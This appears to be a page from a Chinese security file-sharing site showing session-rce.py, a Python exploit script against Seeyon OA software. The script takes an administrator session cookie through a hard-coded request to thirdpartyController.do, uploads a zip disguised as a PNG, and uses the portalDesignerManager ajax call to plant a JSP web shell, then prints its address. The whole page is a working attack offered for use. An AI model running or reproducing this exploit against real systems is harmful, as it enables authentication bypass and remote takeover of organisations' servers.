menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right EXP chevron_right session-rce.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    session-rce.py
    2.43 KB / 2021-06-28 05:31:32
        # coding: utf-8
    import requests
    import re
    import time
    import sys
    
    #proxy = {'http': 'socks5://x.x.x:35601','https': 'socks5://x.x.x:35601'}
    
    
    def seeyon_new_rce(targeturl):
        orgurl = targeturl
    
        # 通过请求直接获取管理员权限cookie
        targeturl = orgurl + '/seeyon/thirdpartyController.do'
        post={"method":"access","enc":"TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4","clientPath":"127.0.0.1"}
        response = requests.post(url=targeturl,data=post, timeout=15,verify=False)
        rsp = ""
        if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
            cookies = response.cookies
            cookies = requests.utils.dict_from_cookiejar(cookies)
            # 上传压缩文件
            aaa=cookies['JSESSIONID']
            print("获取Cookie成功:"+aaa+'\n')
            targeturl = orgurl + '/seeyon/fileUpload.do?method=processUpload'
            files = [('file1', ('113.png', open('1.zip', 'rb'), 'image/png'))]
            headers = {'Cookie':"JSESSIONID=%s"%aaa}
            data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0',
                    'isEncrypt': "0"}
            response = requests.post(url=targeturl,files=files,data=data, headers=headers,timeout=15,verify=False)
            if response.text:
                reg = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
                print(reg)
                if len(reg)==0:
                    exit("上传失败,无法GetShell")
                fileid=reg[0]
                targeturl = orgurl + '/seeyon/ajax.do'
                datestr = time.strftime('%Y-%m-%d')
                post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + fileid + '%22%5D'
    
                headers['Content-Type']="application/x-www-form-urlencoded"
                response = requests.post(targeturl, data=post,headers=headers,timeout=15,verify=False)
                if "details" in response.text and "Error" in response.text:
                    shell=url+'/seeyon/common/designer/pageLayout/a234.jspx'
                    print(response.text+'\t目标返回如上内容\n\nShell地址: '+shell)
                else:
                    print("匹配失败,无法GetShell")
        else:
            print("获取Cookie失败")
    if __name__=='__main__':
        try:
            url = sys.argv[1]
            seeyon_new_rce(url)
        except Exception as ex:
            print(str(ex))
    
    
    
    links
    file_download